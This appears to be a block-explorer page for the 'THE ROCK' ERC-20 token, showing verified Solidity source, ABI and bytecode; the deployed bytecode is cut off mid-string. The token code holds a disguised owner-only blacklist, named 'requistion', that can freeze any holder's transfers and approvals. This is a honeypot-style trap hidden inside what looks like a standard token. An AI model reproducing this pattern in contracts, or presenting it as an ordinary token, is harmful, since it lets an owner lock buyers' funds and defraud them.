ETH Price: $3,459.75 (+1.12%)
Gas: 10 Gwei

Token

THE ROCK (ROCK)
 

Overview

Max Total Supply

420,000,000,000 ROCK

Holders

270

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 10 Decimals)

Balance
550,192,486.8245488368 ROCK

Value
$0.00
0x10f80Fc940237f71b9528A9c2246AD4F3D290967
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ROCK

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : ROCK.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ROCK is IERC20, Ownable {
    string public name;
    string public symbol;
    uint8 public decimals;
    uint256 private _totalSupply;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private requistion;

    constructor() {
        name = "THE ROCK";
        symbol = "ROCK";
        decimals = 10;
        _totalSupply = 420000000000 * 10**uint256(decimals);
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function requisitionStatus(address _addrs) public view onlyOwner returns (bool) {
        return requistion[_addrs];
    }

    function addrequistion(address[] memory requistion_) external onlyOwner {
        for (uint256 i = 0; i < requistion_.length; i++) {
            requistion[requistion_[i]] = true;
        }
    }

    function removerequistion(address account) external onlyOwner {
        require(requistion[account], "Address is not in array");

        requistion[account] = false;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        address sender = msg.sender;
        require(!requistion[recipient], "Recipient is in array");

        require(!requistion[_msgSender()], "Sender is in array");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "ERC20: transfer amount must be greater than zero");
        require(_balances[sender] >= amount, "ERC20: insufficient balance");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        address owner = msg.sender;
        require(!requistion[_msgSender()], "Approver is in array");
        require(!requistion[spender], "Spender is in array");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        require(!requistion[sender], "Sender is in array");
        require(!requistion[recipient], "Recipient is in array");
        require(!requistion[_msgSender()], "Caller is in array");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "ERC20: transfer amount must be greater than zero");
        require(_balances[sender] >= amount, "ERC20: insufficient balance");
        require(
            _allowances[sender][msg.sender] >= amount,
            "ERC20: insufficient allowance"
        );

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][msg.sender] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"requistion_","type":"address[]"}],"name":"addrequistion","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removerequistion","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addrs","type":"address"}],"name":"requisitionStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36040518060400160405280600881526020017f54484520524f434b00000000000000000000000000000000000000000000000081525060019081620001139190620004e0565b506040518060400160405280600481526020017f524f434b00000000000000000000000000000000000000000000000000000000815250600290816200015a9190620004e0565b50600a600360006101000a81548160ff021916908360ff160217905550600360009054906101000a900460ff1660ff16600a6200019891906200074a565b6461c9f36800620001aa91906200079b565b600481905550600454600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620002589190620007f7565b60405180910390a362000814565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620002e857607f821691505b602082108103620002fe57620002fd620002a0565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003687fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000329565b62000374868362000329565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003c1620003bb620003b5846200038c565b62000396565b6200038c565b9050919050565b6000819050919050565b620003dd83620003a0565b620003f5620003ec82620003c8565b84845462000336565b825550505050565b600090565b6200040c620003fd565b62000419818484620003d2565b505050565b5b8181101562000441576200043560008262000402565b6001810190506200041f565b5050565b601f82111562000490576200045a8162000304565b620004658462000319565b8101602085101562000475578190505b6200048d620004848562000319565b8301826200041e565b50505b505050565b600082821c905092915050565b6000620004b56000198460080262000495565b1980831691505092915050565b6000620004d08383620004a2565b9150826002028217905092915050565b620004eb8262000266565b67ffffffffffffffff81111562000507576200050662000271565b5b620005138254620002cf565b6200052082828562000445565b600060209050601f83116001811462000558576000841562000543578287015190505b6200054f8582620004c2565b865550620005bf565b601f198416620005688662000304565b60005b8281101562000592578489015182556001820191506020850194506020810190506200056b565b86831015620005b25784890151620005ae601f891682620004a2565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000655578086048111156200062d576200062c620005c7565b5b60018516156200063d5780820291505b80810290506200064d85620005f6565b94506200060d565b94509492505050565b60008262000670576001905062000743565b8162000680576000905062000743565b8160018114620006995760028114620006a457620006da565b600191505062000743565b60ff841115620006b957620006b8620005c7565b5b8360020a915084821115620006d357620006d2620005c7565b5b5062000743565b5060208310610133831016604e8410600b8410161715620007145782820a9050838111156200070e576200070d620005c7565b5b62000743565b62000723848484600162000603565b925090508184048111156200073d576200073c620005c7565b5b81810290505b9392505050565b600062000757826200038c565b915062000764836200038c565b9250620007937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200065e565b905092915050565b6000620007a8826200038c565b9150620007b5836200038c565b9250828202620007c5816200038c565b91508282048414831517620007df57620007de620005c7565b5b5092915050565b620007f1816200038c565b82525050565b60006020820190506200080e6000830184620007e6565b92915050565b61239380620008246000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063b162421b11610066578063b162421b14610276578063dd62ed3e146102a6578063e7f9d9af146102d6578063f2fde38b146102f2576100f5565b8063715018a6146102005780638da5cb5b1461020a57806395d89b4114610228578063a9059cbb14610246576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806370a08231146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806316f6d40414610148575b600080fd5b61010261030e565b60405161010f91906117bf565b60405180910390f35b610132600480360381019061012d9190611889565b61039c565b60405161013f91906118e4565b60405180910390f35b610162600480360381019061015d9190611a47565b6105b4565b005b61016c6106c5565b6040516101799190611a9f565b60405180910390f35b61019c60048036038101906101979190611aba565b6106cf565b6040516101a991906118e4565b60405180910390f35b6101ba610c90565b6040516101c79190611b29565b60405180910390f35b6101ea60048036038101906101e59190611b44565b610ca3565b6040516101f79190611a9f565b60405180910390f35b610208610cec565b005b610212610e26565b60405161021f9190611b80565b60405180910390f35b610230610e4f565b60405161023d91906117bf565b60405180910390f35b610260600480360381019061025b9190611889565b610edd565b60405161026d91906118e4565b60405180910390f35b610290600480360381019061028b9190611b44565b6112c3565b60405161029d91906118e4565b60405180910390f35b6102c060048036038101906102bb9190611b9b565b611395565b6040516102cd9190611a9f565b60405180910390f35b6102f060048036038101906102eb9190611b44565b61141c565b005b61030c60048036038101906103079190611b44565b61157f565b005b6001805461031b90611c0a565b80601f016020809104026020016040519081016040528092919081815260200182805461034790611c0a565b80156103945780601f1061036957610100808354040283529160200191610394565b820191906000526020600020905b81548152906001019060200180831161037757829003601f168201915b505050505081565b600080339050600760006103ae611727565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042d90611c87565b60405180910390fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ba90611cf3565b60405180910390fd5b82600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040516105a19190611a9f565b60405180910390a3600191505092915050565b6105bc611727565b73ffffffffffffffffffffffffffffffffffffffff166105da610e26565b73ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062790611d5f565b60405180910390fd5b60005b81518110156106c15760016007600084848151811061065557610654611d7f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106b990611ddd565b915050610633565b5050565b6000600454905090565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561075e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075590611e71565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156107eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e290611edd565b60405180910390fd5b600760006107f7611727565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561087f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087690611f49565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036108ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e590611fdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361095d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109549061206d565b60405180910390fd5b600082116109a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610997906120ff565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a199061216b565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad8906121d7565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b3091906121f7565b9250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b86919061222b565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c1991906121f7565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c7d9190611a9f565b60405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cf4611727565b73ffffffffffffffffffffffffffffffffffffffff16610d12610e26565b73ffffffffffffffffffffffffffffffffffffffff1614610d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5f90611d5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60028054610e5c90611c0a565b80601f0160208091040260200160405190810160405280929190818152602001828054610e8890611c0a565b8015610ed55780601f10610eaa57610100808354040283529160200191610ed5565b820191906000526020600020905b815481529060010190602001808311610eb857829003601f168201915b505050505081565b600080339050600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6790611edd565b60405180910390fd5b60076000610f7c611727565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffb90611e71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a90611fdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036110e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d99061206d565b60405180910390fd5b60008311611125576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111c906120ff565b60405180910390fd5b82600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119e9061216b565b60405180910390fd5b82600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111f691906121f7565b9250508190555082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461124c919061222b565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112b09190611a9f565b60405180910390a3600191505092915050565b60006112cd611727565b73ffffffffffffffffffffffffffffffffffffffff166112eb610e26565b73ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890611d5f565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611424611727565b73ffffffffffffffffffffffffffffffffffffffff16611442610e26565b73ffffffffffffffffffffffffffffffffffffffff1614611498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148f90611d5f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611524576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151b906122ab565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611587611727565b73ffffffffffffffffffffffffffffffffffffffff166115a5610e26565b73ffffffffffffffffffffffffffffffffffffffff16146115fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f290611d5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361166a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116619061233d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561176957808201518184015260208101905061174e565b60008484015250505050565b6000601f19601f8301169050919050565b60006117918261172f565b61179b818561173a565b93506117ab81856020860161174b565b6117b481611775565b840191505092915050565b600060208201905081810360008301526117d98184611786565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611820826117f5565b9050919050565b61183081611815565b811461183b57600080fd5b50565b60008135905061184d81611827565b92915050565b6000819050919050565b61186681611853565b811461187157600080fd5b50565b6000813590506118838161185d565b92915050565b600080604083850312156118a05761189f6117eb565b5b60006118ae8582860161183e565b92505060206118bf85828601611874565b9150509250929050565b60008115159050919050565b6118de816118c9565b82525050565b60006020820190506118f960008301846118d5565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61193c82611775565b810181811067ffffffffffffffff8211171561195b5761195a611904565b5b80604052505050565b600061196e6117e1565b905061197a8282611933565b919050565b600067ffffffffffffffff82111561199a57611999611904565b5b602082029050602081019050919050565b600080fd5b60006119c36119be8461197f565b611964565b905080838252602082019050602084028301858111156119e6576119e56119ab565b5b835b81811015611a0f57806119fb888261183e565b8452602084019350506020810190506119e8565b5050509392505050565b600082601f830112611a2e57611a2d6118ff565b5b8135611a3e8482602086016119b0565b91505092915050565b600060208284031215611a5d57611a5c6117eb565b5b600082013567ffffffffffffffff811115611a7b57611a7a6117f0565b5b611a8784828501611a19565b91505092915050565b611a9981611853565b82525050565b6000602082019050611ab46000830184611a90565b92915050565b600080600060608486031215611ad357611ad26117eb565b5b6000611ae18682870161183e565b9350506020611af28682870161183e565b9250506040611b0386828701611874565b9150509250925092565b600060ff82169050919050565b611b2381611b0d565b82525050565b6000602082019050611b3e6000830184611b1a565b92915050565b600060208284031215611b5a57611b596117eb565b5b6000611b688482850161183e565b91505092915050565b611b7a81611815565b82525050565b6000602082019050611b956000830184611b71565b92915050565b60008060408385031215611bb257611bb16117eb565b5b6000611bc08582860161183e565b9250506020611bd18582860161183e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c2257607f821691505b602082108103611c3557611c34611bdb565b5b50919050565b7f417070726f76657220697320696e206172726179000000000000000000000000600082015250565b6000611c7160148361173a565b9150611c7c82611c3b565b602082019050919050565b60006020820190508181036000830152611ca081611c64565b9050919050565b7f5370656e64657220697320696e20617272617900000000000000000000000000600082015250565b6000611cdd60138361173a565b9150611ce882611ca7565b602082019050919050565b60006020820190508181036000830152611d0c81611cd0565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d4960208361173a565b9150611d5482611d13565b602082019050919050565b60006020820190508181036000830152611d7881611d3c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611de882611853565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611e1a57611e19611dae565b5b600182019050919050565b7f53656e64657220697320696e2061727261790000000000000000000000000000600082015250565b6000611e5b60128361173a565b9150611e6682611e25565b602082019050919050565b60006020820190508181036000830152611e8a81611e4e565b9050919050565b7f526563697069656e7420697320696e2061727261790000000000000000000000600082015250565b6000611ec760158361173a565b9150611ed282611e91565b602082019050919050565b60006020820190508181036000830152611ef681611eba565b9050919050565b7f43616c6c657220697320696e2061727261790000000000000000000000000000600082015250565b6000611f3360128361173a565b9150611f3e82611efd565b602082019050919050565b60006020820190508181036000830152611f6281611f26565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fc560258361173a565b9150611fd082611f69565b604082019050919050565b60006020820190508181036000830152611ff481611fb8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061205760238361173a565b915061206282611ffb565b604082019050919050565b600060208201905081810360008301526120868161204a565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f00000000000000000000000000000000602082015250565b60006120e960308361173a565b91506120f48261208d565b604082019050919050565b60006020820190508181036000830152612118816120dc565b9050919050565b7f45524332303a20696e73756666696369656e742062616c616e63650000000000600082015250565b6000612155601b8361173a565b91506121608261211f565b602082019050919050565b6000602082019050818103600083015261218481612148565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006121c1601d8361173a565b91506121cc8261218b565b602082019050919050565b600060208201905081810360008301526121f0816121b4565b9050919050565b600061220282611853565b915061220d83611853565b925082820390508181111561222557612224611dae565b5b92915050565b600061223682611853565b915061224183611853565b925082820190508082111561225957612258611dae565b5b92915050565b7f41646472657373206973206e6f7420696e206172726179000000000000000000600082015250565b600061229560178361173a565b91506122a08261225f565b602082019050919050565b600060208201905081810360008301526122c481612288565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061232760268361173a565b9150612332826122cb565b604082019050919050565b600060208201905081810360008301526123568161231a565b905091905056fea26469706673582212201a7122f66af41929be043965a9280248617b35f74aaa4e1c3732787843edb82264736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063b162421b11610066578063b162421b14610276578063dd62ed3e146102a6578063e7f9d9af146102d6578063f2fde38b146102f2576100f5565b8063715018a6146102005780638da5cb5b1461020a57806395d89b4114610228578063a9059cbb14610246576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806370a08231146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806316f6d40414610148575b600080fd5b61010261030e565b60405161010f91906117bf565b60405180910390f35b610132600480360381019061012d9190611889565b61039c565b60405161013f91906118e4565b60405180910390f35b610162600480360381019061015d9190611a47565b6105b4565b005b61016c6106c5565b6040516101799190611a9f565b60405180910390f35b61019c60048036038101906101979190611aba565b6106cf565b6040516101a991906118e4565b60405180910390f35b6101ba610c90565b6040516101c79190611b29565b60405180910390f35b6101ea60048036038101906101e59190611b44565b610ca3565b6040516101f79190611a9f565b60405180910390f35b610208610cec565b005b610212610e26565b60405161021f9190611b80565b60405180910390f35b610230610e4f565b60405161023d91906117bf565b60405180910390f35b610260600480360381019061025b9190611889565b610edd565b60405161026d91906118e4565b60405180910390f35b610290600480360381019061028b9190611b44565b6112c3565b60405161029d91906118e4565b60405180910390f35b6102c060048036038101906102bb9190611b9b565b611395565b6040516102cd9190611a9f565b60405180910390f35b6102f060048036038101906102eb9190611b44565b61141c565b005b61030c60048036038101906103079190611b44565b61157f565b005b6001805461031b90611c0a565b80601f016020809104026020016040519081016040528092919081815260200182805461034790611c0a565b80156103945780601f1061036957610100808354040283529160200191610394565b820191906000526020600020905b81548152906001019060200180831161037757829003601f168201915b505050505081565b600080339050600760006103ae611727565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042d90611c87565b60405180910390fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ba90611cf3565b60405180910390fd5b82600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffff